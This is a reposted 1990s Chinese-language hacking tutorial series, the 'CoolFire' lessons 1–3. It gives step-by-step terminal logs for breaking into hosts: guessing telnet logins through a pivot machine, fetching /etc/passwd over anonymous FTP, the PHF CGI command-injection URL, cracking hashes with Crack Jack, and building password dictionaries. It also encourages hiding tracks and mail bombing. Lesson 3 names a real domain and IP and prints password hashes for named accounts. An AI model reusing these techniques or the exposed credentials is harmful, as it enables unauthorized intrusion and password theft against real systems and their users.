coolfire 黑客入门教程系列之（一）

这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!

#1 甚麼是 Hacking ?
就是入侵电脑! 有甚麼好解释的! 大部份有关介绍 Hacker 的书籍或小说及文件等都有清楚的介绍, 沉迷於电脑的人... 破坏... 唉! 一大堆怪解释就是了, 最好不要成为一个 "骇客", 我... 不是!

#2 为甚麼要 Hack ?
我们只是为了要了解更多关於系统的技术, 入侵它, 了解它是如何运作的, 试试它的安全性, 然後学著去使用它, 读取系统中有关操作的说明, 学习它的各项操作 !! 为了安全性而作革命!

#3 Hack 守则
1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦.
恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料 !!
2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的後将它改回原状.
3. 不要轻易的将你要 Hack 的站台告诉你不信任的朋友.
4. 不要在 bbs 上谈论你 Hack 的任何事情.
5. 在 Post 文章的时候不要使用真名.
6. 正在入侵的时候, 不要随意离开你的电脑.
7. 不要侵入或破坏政府机关的主机.
8. 不在电话中谈论你 Hack 的任何事情.
9. 将你的笔记放在安全的地方.
10. 想要成为 Hacker 就要真正的 Hacking, 读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!
11. 已侵入电脑中的帐号不得清除或修改.
12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开 !!
13. 不将你已破解的帐号分享与你的朋友.

#4 破解之道
1. 进入主机中
2. 得到 /etc/passwd
3. 得到系统帐号
4. 得到最高权限

-*-

How 1.

进入主机有好几种方式, 可以经由 Telnet (Port 23) 或 SendMail (Port 25)
或 FTP 或 WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能
同时进行多项服务, 所以如果你只是要 "进入" 该主机, 这些 Port 都是很好的进行方向.
当然还有很多 Port, 但是 DayTime 的 Port 你能拿它作甚麼??? 我不知
道, 你知道吗?!

底下的示范并不是像写出来的那麼容易, 只不过是要让你了解如何进入, 当然其
中还有很多问题, 如打错指令...... 等等的毛病... 没有出现在课堂上, 但是我为了
面子.... 一定要删掉这些不堪入目的东西嘛...

示范进入主机的方法: (By CoolFire)

(首先要先连上某一台你已经有帐号的 Telnet 主机, 当然最好是假的, 也就是 Crack
过的主机, 然後利用它来 Crack 别的主机, 才不会被别人以逆流法查出你的所在)

Digital UNIX (ms.hinet.net) (ttypa)

login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0

(我用的是 ms.hinet.net ... 当然是假的罗, 都已经经过修改了啦 !!
没有这一台主机啦 !! 别怕 ! 别怕 ! 以下的主机名称都是假的名
称, 请同学们要记得 !!)

Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)

(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是......)

ms.hinet.net> telnet www.fuckyou.hinet.net (Telnet 试试看....)
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(没关系, 再来 !!)
cool login: hinet
Password:

Login incorrect

cool login:

(都没猜对, 这边用的是 猜 的方法, 今天运气好像不好)
telnet> close
Connection closed.

(重来, 换个 Port 试试看 !!)

ms.hinet.net> telnet 111.222.255.255 80
Trying 111.222.255.255...
Connected to 111.222.255.255.
Escape character is '^]'.

<HTML>
<HEAD>
<TITLE>Error</TITLE>
</HEAD>
<BODY>
<H1>Error 400</H1>

Invalid request "" (unknown method)

<P><HR><ADDRESS><A HREF="http://www.w3.org">CERN-HTTPD 3.0A</A></ADDRESS>
</BODY>
</HTML>
Connection closed by foreign host.

(哇哩 !! 连密码都没得输入, 真是..... 再来 !! 要有恒心 !!) (换 FTP Port 试试)

ms.hinet.net> ftp 111.222.255.255
Connected to 111.222.255.255.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (111.222.255.255:FakeName): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user! This is an experimental FTP server. If have any
230-unusual problems, please report them via e-mail to root@cool.com
230-If you do have problems, please try using a dash (-) as the first character
230-of your password -- this will turn off the continuation messages that may
230-be confusing your ftp client.

230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

(哇 ！ 可以用 anonymous 进来耶!! password 部份输入 aaa@ 就好了 ！
不要留下足迹喔!!)

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
etc
pub
54ne.com

usr
bin
lib
incoming
welcome.msg
226 Transfer complete.

(嗯嗯... 太好了 ！ 进来了 !! 下一个目标是.....)

ftp> cd etc
250 CWD command successful.
ftp> get passwd (抓回来 !!)
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (566 bytes).
226 Transfer complete.
566 bytes received in 0.56 seconds (0.93 Kbytes/s)
(喔... 这麼容易吗??)
ftp> !cat passwd (看看 !!!)
root::0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:

uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash 54ne.com
ftp:*:404:1::/home/ftp:/bin/bash

(哇哩... 是 Shadow 的... 真是出师不利....)

ftp> bye
221 Goodbye.

(不信邪.... 还是老话, 要有恒心....)
(FTP 不行, 再 Telnet 看看 !!)

ms.hinet.net> telnet www.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect

(又猜错 !!)

cool login: fuckyou
Password:
Last login: Mon Dec 2 09:20:07 from 205.11.122.12
Linux 1.2.13.

Some programming languages manage to absorb change but withstand
progress.

cool:~$

(哇哈哈 !! 哪个笨 root, 用 system name 作 username 连
password 也是 system name.... 总算... 没白玩...)

cool:~$ system
bash: system: command not found

(嗯... 这个 user 的权限好像不大....)

cool:~$ ls
cool:~$ pwd

/home/fuckyou
cool:~$ cd /
cool:/$ ls
Public/ cdrom/ lib/ mnt/ tmp/ www/
README dev/ linux* proc/ usr/
bin/ etc/ local/ root/ var/ 网管网 bitsCN.com
boot/ home/ lost+found/ sbin/
cool:/$ cd etc
telnet> quit
(好想睡呀 !! 不玩了 !! 下节课再开始....)
Connection closed.
ms.hinet.net> exit

(走了 !! 下节课在见啦 !! 今天就上到这里 ! 老师要先下班了 !!)
(有学生说: 骗人! 还没有破解呀!! 胡说 ! 不是已经进来了吗 ???
看看这节课上的是甚麼??? ---->进入主机 !! 嗯.....)

-*-
How 2.

上节课抓回来一个 "乱七八糟" 的 /etc/passwd, 你以为我的真那麼笨吗?? guest 所抓回来的能是甚麼好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已经 "猜" 到了一个不是 guest 的 username 及 password. 今天就以它来进入主机瞧瞧 !!

Digital UNIX (ms.hinet.net) (ttypa)

login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0

Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
网管网 bitsCN_com

(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是.....呵...)

ms.hinet.net> telnet cool.fuckyou.hinet.net (Telnet 试试看.... 昨天的位址,
有作笔记吧!)
stsvr.showtower.com.tw> telnet cool.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.

Escape character is '^]'.
Password:
Login incorrect

cool login: fuckyou
Password: (一样输入 fuckyou)
Last login: Mon Dec 1 12:44:10 from ms.hinet.net
Linux 1.2.13.

cool:~$ cd /etc
cool:/etc$ ls
DIR_COLORS ftpusers localtime resolv.conf
HOSTNAME gateways magic rpc
NETWORKING group mail.rc securetty
NNTP_INEWS_DOMAIN host.conf motd sendmail.cf
X11@ hosts messages/ sendmail.st
XF86Config hosts.allow mtab services
at.deny hosts.deny mtools shells
bootptab hosts.equiv named.boot shutdownp
csh.cshrc hosts.lpd networks snoopy/
csh.login httpd.conf nntpserver slip.hosts
exports inetd.conf passwd snooptab
fastboot inittab passwd.OLD syslog.conf
54ne.com

fdprm issue passwd.old syslog.pid
fstab ld.so.cache printcap ttys
ftpaccess ld.so.conf profile utmp@

(找寻目标..... 太乱了 ！ 懒得找, 再来 ....)
cool:/etc$ ls pa*
passwd passwd.OLD passwd.old

(果然在)

cool:/etc$ more passwd
(看看有没有 Shadow...)

root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john

(正点 ！ 一点都没有防备 !!)
cool:/etc$ exit

logout
(走了!.... 换 FTP 上场 !!)
Connection closed by foreign host.
ms.hinet.net> ftp www.fuckyou.hinet.net
Connected to cool.fuckyou.hinet.net.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (www.fuckyou.hinet.net:66126): fuckyou
331 Password required for fuckyou.
Password:
230 User fuckyou logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> cd /etc
250 CWD command successful.
ftp> get passwd
200 PORT command successful. feedom.net
150 Opening BINARY mode data connection for passwd (350 bytes).
226 Transfer complete.
350 bytes received in 0.68 seconds (1.9 Kbytes/s)

ftp> !cat passwd
root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john

(看看 ! 呵 ! 假不了 !!.....)
ftp> bye
221 Goodbye.
ms.hinet.net> exit

(闪人罗 !! 下课 !!.... 喔慢点, 还有事要说明.....)

passwd 的 Shadow 就是把 passwd 放在 shadow 档中, 而你原先在第一节课
所看到的这个格式的 passwd 并不是真正的 passwd....

root::0:0:root:/root:/bin/bash

因为密码的部份没有东西.... 所以拿了也没有用 !! 但这一节课所拿到的东西呢,
像是这样, 有几点需要说明的, 就是它究竟代表著甚麼???

john:234ab56:9999:13:John Smith:/home/john:/bin/sh

它以 ":" 分成几个栏位, 各栏位对照如下:
User Name: john

Password:234ab56
User No: 9999
Group No: 13
Real Name: John Smith
Home Dir: /home/john
Shell: /bin/sh

了了吧 ！ 了了吧 ！ 保留著你千辛万苦所拿到的 passwd, 咱们第三节 网管网 bitsCN_com
课再来告诉各位如何使用 Crack Jack 把 passwd 解码.... 呵呵...
zzZZzZzz...

-*-

Crack Jack V1.4 中文使用说明 (By CoolFire 12-1-1996)

嗯... 该到第三课了 !! 累了的同学先去喝口水吧!

这一节课咱们来说说 Crack Jack！这可是个解读 /etc/passwd 的好工具喔,
不要告诉我你习惯用
Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包准你马上投向 Crack Jack 1.4
的怀抱, 但请
先确定你所使用的是 Crack Jack 1.4, 你可以在 CoolFire 的 Hacker&Mailer Page
中拿到这个版
本的 Crack Jack！这才是真正有用的版本, 速度... 对... 就是这点别人都比不上 ！
但还是要讲
讲它的缺点... 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上开个 DOS Mode 跑,
它可是连
理都不会理你的 ！

OK! 现在切入正题 ！etc/passwd 拿到手了吧 !! 开始罗 !! 使用 Crack Jack 1.4
前所需要的东
西有这些 [1] Crack Jack 1.4 (废话...$%^&@@) [2] /etc/passwd 档案, 你可以在 Unix
系统中
的 /etc/ 目录中找到 passwd [3] 字典档 (哪里找, 自己敲... 呵 ClayMore 中有一份 中国网
管联盟 www_bitscn_com
DIC.TXT
是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn! 1.0 里面也有, 听
James
说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!).... 使用 Crack Jack 1.4
前需先确
定你所使用的机器是 386 含以上 CPU 的 ！然後最好有充足的记忆体 !!

开始 Jack 时只要敲入 JACK 即可, 它会问你 PW Name... 输入你的 passwd 档名,

Dictionary
Name 输入你的字典档名, Jack 就会开始找了 ！找到时会告诉你, 也会在 JACK.POT 中写入它所
找到的密码 !! 但... 有点怪的格式! 如果找到的是具 root 权限的密码, Jack 会告诉你 This is
JackAss... 嗯...说脏话了 !! 因为使用 Jack 占用的时间实在太多,
如果你中途想要停掉时只要
按下 Ctrl-C 即可, 别以为你前功尽弃了! 因为 Jack 有个 Restore 的功能,
中断时会自动存档
为 RESTORE, 下次要继续这次的寻找只要输入 Jack -Restore:RESTORE 即可 !!
当然你也可以为
你的 Restore 重新命名 ! Jack 也会找得到的 ... 如 Ren restore restore.HNT
之後要再寻找
的时後就 Jack -Restore:RESTORE.HNT 即可... Jack 会很自动的 Restore
前次所寻找的字串...
网管网 bitsCN_com

继续帮你找下去....

字典档哪里找: 我的不给你! 可以找别的 Brute Force 之类的程式, 有些里面会附,
或是找找其它
的 Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来,
可能要有
一点资料栏位及写程式的基础.

[这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的 root 权限密码 ! Jack 好正点呀 !!!
所花的时间: 20 分钟左右... 但也有找了一两天也找不到的..... 呜... 骇客们! 加油吧 !!

最近比较没空了 ！因为要赶其它的报告, Home Page 也没有太多时间整理,
更别说是写这些说明了,
但是太多网友需要, 我只好两肋插刀... 差点昨天就交不出报告了 !!
如果你有兴趣写其它程式的中
文说明, 请完成後寄一份给我, 我将它放在 Home Page 上面让其它人参考,
当然你也可以给我你的
使用心得, 让别人参考看看也行! 另外 CoolFire 目前准备收集一系列的 System Hole List, 如果
你在其它的站台有看到的, 请把它先 Cut 下来, Mail 一份给我 ！
这样我才能弄出一份更齐全的东
西呀.... 还有... 在想弄个 Mail List... 唉.. 不想这麼多了! 有空再说吧!

feedom.net

再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的, 不主张你随
便入侵他人主机.... (当然 高-Net 除外, 我恨死它了)... 请勿将这类技术使用於破坏上 (又.....
如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),
最严重的情况(如果你
真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（二）

这不是一个教学文件，只是告诉你该如何破解系统，
好让你能够将自己的系统作安全的保护，如果
你能够将这份文件完全看完，你就能够知道电脑骇客们是如何入侵你的电脑，我是 CoolFire，写
这篇文章的目的是要让大家明白电脑安全的重要性，并不是教人 Crack Password
若有人因此文件
导致恶意入侵别人的电脑或网路，本人概不负责 !!

话说上次 CoolFire 讲到许多的 Net Coffee 店，安全性之差实在是没话说，
但是过了这麼久也不
见有几家改进，可能是想让自己的电脑被别人玩弄在股掌之间吧，但可不是每个人都像 CoolFire
这样温和，如果遇到的是比较狠一点的角色，那你的 Net Coffee 可能要有一两天只卖 Coffee 而
没办法再 Net 下去了!!

继 CoolHC#1 推出後，有许多人是否已经跃跃愈试了呢 ?? 这次咱们不谈新的花招，用用之前所讲
的再来探险一番，当然，这一次我照往例还是不会使用真正的 Domain Name 来作教学，但是课程
中的所有内容绝对属实，当然本次攻击的对象还是.... Net Coffee Shop....

**谈一下 Crack Jack 猜猜密码

许多人从上一次介绍 Crack Jack 之後就应该已经领教过它的功力了，54com.cn
但是有几点需要说明的，
有些人使用 Jack 来帮你寻找 password，我就当你已经抓到了没有 shadow 的 /etc/passwd，
但是为甚麼使用 Jack 还是找不到呢?? 我想你应该要换个正点一点的字典档了，因为 Jack 还
是根据你所提供的字典档在寻找，如果你提供的字典本身就没有这些字，
那当然连一个小小帐号
的密码你都别想猜到了．数一下你所使用的字典档中有多少字 ???
我用的字典档有十九万多个
字，你的呢？是不是小巫见大巫呀 ?? 那麼就赶快充实一下字典档再重新寻找吧 !!

许多人的密码都有一定的法则，我自己写了 PaSs2DiC 就是将 UserName 由 passwd 档转成字典档
的工具，这是对一些喜欢使用 UserName 当作 Password 的人最好的方式，
但是也曾经好运的找到
别人的密码，真不晓得"甲"是不是暗恋"乙"才用"乙"的 ID 作为密码的 ???

你可以很简单的使用
Qbasic 来制作 "序数" 密码, 或日期密码, 底下简单的作一个 0101 (一月一日) 到
1231 的密码
档出来:

```
------------Cut Here MakeDate.BAS -------------------
Open "Dates" for output as #1
for I=1 to 12
54com.cn


for J=1 to 31
I1$=rtrim$(ltrim$str$(I)))
J1$=rtrim$(ltrim$str$(J)))
if len(I1$)=1 then I1$="0"+I1$
if len(J1$)=1 then J1$="0"+J1$
Out$=I1$Content$J1$
print #1,Out$
next I
next J
close
------------ Cut Here End MakeDate.BAS ----------------
```

这支小程式将会写一个 "DATES" 的档案, 里面就是你要的字典, 当然啦,
这只是包含月跟日 !!
如果你要猜的密码是含年份的, 你可能要再增加一些程式码, 再 Run 一次试试看了,
不过这是一
个好的开始不是吗 ??

**如何保护自己的密码

谈了这麼多的密码猜法, 当然要谈一下如何保护自己的密码不被破解,
请遵守以下的原则: [1]不
用生日作为密码(太容易猜了啦) [2]不用序数作为密码(除非你的序数无限大)
[3]不用身份证字号
作为密码(LetMeIn! 里有猜身份证字号的功能耶)
[4]不用在字典中查得到的字作为密码.

那麼依照上面的几点说法, 甚麼样子的密码最不容易猜, 自己也最好记呢?? 答案是:
用一句有意
义的话来作为自己的密码, 例如: NoOneCanCrackIt 就是一个很难猜的密码类型,
基於这个密码猜

法的原则, 你的密码是不是要作些更新, 或是大小写要作一些对调 ?? 如果你的密码是

coolfire,
建议你最好能改成 CoolFire 或 coolfires (加复数 "s"),
这样被猜中的机率就小了很多. 如果
你是一个 Hacker, 你的密码也被人猜中的话... 那...#%%^^^&@

**正式的话题

这次的话题当然还是 Crack, 相信许多人已经看过 CoolHC#1 了,
当然眼尖的人可能也已经 D/L
System Holes 试过了, 你有成功的例子吗 ?? 如果没有, 这份 CoolHC#2
可能就是你的强心针,
因为这次谈的正是 System Holes #1 成功的案例.

Step 1. 连线到 "蕃薯藤" 找 "网路咖啡" 找到好多家网路咖啡的 WWW 网址,
一一连上去试试看
在 System Holes #1 中的方法可不可行.
Step 2. 若可行则会传回 /etc/passwd 资讯, 存档後迅速 Logout, 使用 Crack Jack
解读!!

[[实例探讨]]

System Holes #1 中所介绍的 WWW 入侵法是这样子的:
http://www.somewhere.com/cgi-bin/nph-test-cgi?* 後再
http://www.somewhere.com/cgi-bin/phf?Qalias=x%0aless%/20/etc/passwd

[1] 用 WWW Browser 连到 yournet.net
feedom.net

[2] Location 输入 --> "www.yournet.net/cgi-bin/nph-test-cgi?*"
[3] 接著如果出来一份像 Report 的画面的话, 接著输入
/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
[4] 发生了甚麼事?? etc/passwd 在你的浏览器中 "显示" 出来了 !! 快点 Save 吧
!!

这个方法所用的是系统 "检索" 的漏洞, 不提供这个功能,
或是伺服器检索类型不同的机器则不
会接受这样的指令, 当然也就逃过我们这次的模拟演练啦 !! 但是.... 相信我,
你一定会找到一
家脱线的网路咖啡, 并没有像我们一样每天阅读 Mail List 的信,
对系统安全一点研究也没有的
人不在少数. http://hacker.welcome.com 就是这样的一个 Net Coffee Shop...
呵.... 快来试
试吧 !!

当 CoolFire 抓到 /etc/passwd 後, 立刻存档, 也马上断线, 并且拿出 UltraEdit
来瞧一下使用
者的资讯, 当然这个小 passwd 对 Crack Jack 来说, 实在是不够看,
没几分钟就在我的 486 机
器上显示出来几个以 UserName 作为 Password 的资讯 (归功於 PaSs2DiC 及
CrackJack 的功劳)
不过当我试著找寻 root 的密码时, 一想到我那将近 20 万字的字典档, 中国网管联盟
www、bitsCN、com
就想到可能花费的时间一
定相当的惊人, 於是就以 Jack 的 Option 设定只寻找 root 那一行, ...
(过了良久)... 果不然
又是一个笨 root. 用了 "非常" 容易猜的密码... <--- This is JackAss... 呵!! Got
It!

如果你所使用的机器速度不是顶快, 你最好能够到快一点的机器上使用 Crack Jack,
不然你也可
以将字典档切割成几个小档案, 然後再分别在几台机器上跑, 我目前使用的配备是
486DX4-130
32MB RAM, 3.2GB HDD, 近 20 万字的字典档, 如果在分析较大的 passwd
档时我会将字典档切割
为四至五个小档 (看有多少台机器可跑),
然後在周末下班前在公司的几台机器上分别执行 Crack
Jack, 等到礼拜一上班时就等著接收成果了! 当然如果你只有一台机器, passwd
档又很大的话,
由於 Crack Jack 无法於 Windoz 95 下使用, 你可能只能牺升时间或机器来跑了!
再没有办法的
话, 亦可使用单机多工, 多开几个 DOS Box 来跑 Brute, 也许也是一个可行的办法!

**後语

有许多人在使用 Crack Jack 的时候有许多问题, 不过看了 CoolHC#1 应该都解决了吧
?? 最近大
家问的比较多的是 UpYours 3.0, 虽然已经改进了 Install 的问题, 网管网 bitsCN_com
不过大家的问题还是都出在
Winsck.ocx 上面, 有人说装了 MSICP Beta 会好 ?? 但也有实例装了也还不能 Run 的,
在此建议
大家不要再玩 MailBomb 了, 虽然我喜欢收集这种东西, 但还是少乱炸为妙,
已经证实有许多常用
的 MailBomb 没有办法 Fake IP 了 !! 所以... 如果 UpYours 3.0
装不起来的人就试试 KaBoom!
V3.0 吧 ! 虽然没有办法 Fake IP (选错 Mail Server 的话), 但是也是一个不错的
AnonyMailer
如果要发匿名信, 现在首页上有可以帮你发信的 Mailer, 会安全一点.

如果你仍旧对 UpYours 3.0 不死心, 就试试 ResSvr32.exe (Under Windows/system directory),
看看能不能将 WinSck.ocx 装上了... 记得先 UnReg 再 Reg...

在此建议大家可以多订阅一些 "系统安全" 讨论的 Mail List
或多参考一些已经被找出来的系统
漏洞, 因为有些人对这些方面并不是很重视, 所以这些资讯也就显得格外的重要了,
如果能够多
参考一些资讯, 在你入侵的时候会有很大的帮助, 当然, 如果你能作出一份列表出来,
放在手边
参考的话, 就可以快速的; 安全的入侵了!! 下一次所谈的是 SendMail 的 Bug 实例,
在这中间 54ne.com
当然照往例会先出一份 System Holes #2 来作为资料. 如果有兴趣的人在 SH#2
出来的时候可以
先研究看看. 下次见! Merry X'Mas..... & Happy New Year.....

上次讲的 Home Page 建置案还没搞完, 没有充实一下 Home Page 实在是对不起大家,
所以利用一点
时间写了 CoolHC#2, 可能报告又交不出来了 !! 老话,
如果你有兴趣写其它程式的中文说明, 请完
成後寄一份给我, 我将它放在 Home Page 上面让其它人参考,
当然你也可以给我你的使用心得, 让
别人参考看看也行! 目前准备收集一系列的 System Hole List,
如果你在其它的站台有看到的, 请
把它先 Cut 下来, Mail 一份给我 !

再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,
不主张你随
便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上 (又...
如果第三次世界
大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),
最严重的情况(如果你真的很讨厌该主
机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（三）

这不是一个教学文件，只是告诉你该如何破解系统，
好让你能够将自己的系统作安全的保护，如果
你能够将这份文件完全看完，你就能够知道电脑骇客们是如何入侵你的电脑，我是
CoolFire，写
这篇文章的目的是要让大家明白电脑安全的重要性，并不是教人 Crack Password
若有人因此文件
导致恶意入侵别人的电脑或网路，本人概不负责 !!

前几次说到了 Net Coffee 店，还好他们没有提供客户拨接上线的功能，
不然密码或是帐号被人盗用
的客户不就糗大了！但是 CoolFire 在这两周的探险中，为了找一个酷似网路咖啡站台的
W3 密码，
误入一个号称第一个提供网路拨接的 ISP，且在 CoolFire 顺利的抓回 /etc/passwd
之後，使用了自己
写的 PaSs2DiC + CJack 来解出密码，没想到不用 1 分钟，就找出了 9 组 ID 与
Password 相同的密码，
勿怪我没有在这里提醒大家，还好我没有找到 root password，不然可能该系统就此停摆，
不可再见
天日也! (当然我不可能这麼作啦!).

看看最近兴起的网路咖啡及各大网站的系统安全设施，再加上 CoolFire
最近开会的时候遇到的情
况，不难发现我们的国家正往高科技的领域快步迈进，但是这些系统的安全性若不加强，中
国网管联盟 www_bitscn_com
可能到时
候人家只要一台电脑再加上一台数据机就可以让整个国家的金融及工商业 溃!
大家要小心呀 !
ISP 是一般 User 拨接的源头，技术上理应比较强，但还是轻易让人入侵，且又没有教导
User 正确
的网路使用观念 (Password 的设定及 proxy 的使用等)，
实在不敢想像这样的网路发展到几年後会
是甚麼样子 ??

这一次的说明还是没有谈到新的技巧，在 James
将首页更新後各位应该已经可以从中学到许多东
西了，如果想要学习入侵，就一定要知道最新的资讯 (入侵本国的网路则不用，
反正没人重视网路
安全..... 真失望)，在别人还没将 Bug 修正之前就抢先一步拿到 /etc/passwd，
所以订阅一些网路安全
的 Mail List 是必要的，多看一些网安有关的 News Group 也是必要的 (不仅 Hacker
如此, ISP 更要

多注意这些资讯!). 日後有空再整里一些 Mail List 给大家 !!

本次主题: 说明如何连接该 ISP 并且对其 /etc/passwd 解码
连接位址: www.coffee.com.tw (203.66.169.11)
特别说明: 由於本次主题说明重点使用真实的位址及名称, 所以 CoolFire 已经 Mail 给该网页之维
护人员更改密码, 但该网页之 ISP 仍为新手之练习好题材! CoolFire
54ne.com

Mail 给该网页维护
人员之信件内容如下, 如果他还不尽快改掉, 我也没办法了!

Mail sent to dhacme@tp.globalnet.com.tw:
Subject: 请速更动网页密码
From: CoolFire <coolfires@hotmail.com>

你的网页作得不错, 但是因为你所设定的密码太容易为骇客所
? 入侵, 请於见到此信後速速更改你的网页进入密码, 否则下次
若网页遭到篡改, 本人概不负责!!

**** 课程开始 ****

请注意: 由於本次所作的课程内容以实作为主, 除了本人 IP 有所更改,
一切都使用本人所用之
Telnet 软体 Log 档收录, 故若道德感不佳者请勿阅读以下之详细破解内容,
否则本人概不负责!

(连线到某一主机之後.... 此处的 ms.hinet.net.tw 是假的 Domain name)
ms.hinet.net.tw> telnet www.coffee.com.tw
Trying 203.66.169.11...
Connected to www.coffee.com.tw.
Escape character is '^]'.
Password: (随便按一下 Enter)
Login incorrect

www login: coffee (以 Hacker 的敏锐判断 username=coffee password=coffee)
Password:
Last login: Thu Jan 9 10:41:52 from ms.hinet.net.tw

欢 迎 光 临 ..... 以下略! 因涉及该 ISP 的名誉, 大家自己去看吧!
feedom.net

==========

(直接进入核心部份)
www:~$ cd /etc
www:/etc$ ls
DIR_COLORS hosts.equiv printcap
HOSTNAME hosts.lpd profile
NETWORKING inet@ protocols
NNTP_INEWS_DOMAIN inetd.conf psdevtab
X11@ inittab rc.d/
at.deny inittab.gettyps.sample resolv.conf
bootptab ioctl.save rpc
csh.cshrc issue securetty
csh.login issue.net securetty.old
default/ klogd.pid sendmail.cf
diphosts ld.so.cache sendmail.st
exports ld.so.conf services
fastboot lilo/ shells
fdprm lilo.conf shutdownpid
fs/ localtime skel/
fstab magic slip.hosts
ftp.banner mail.rc slip.login
ftp.deny motd snooptab
ftpaccess motd.bak sudoers
ftpconversions msgs/ syslog.conf
ftpgroups mtab syslog.pid
ftpusers mtools termcap
gateways named.boot ttys
gettydefs networks utmp@
group nntpserver vga/
host.conf passwd wtmp@
hosts passwd.OLD yp.conf.example
hosts.allow passwd.old
hosts.deny ppp/
54ne.com

(看看我们的目标长得如何???)
www:/etc$ cat passwd
root:abcdefghijklmn:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
fax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash

kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
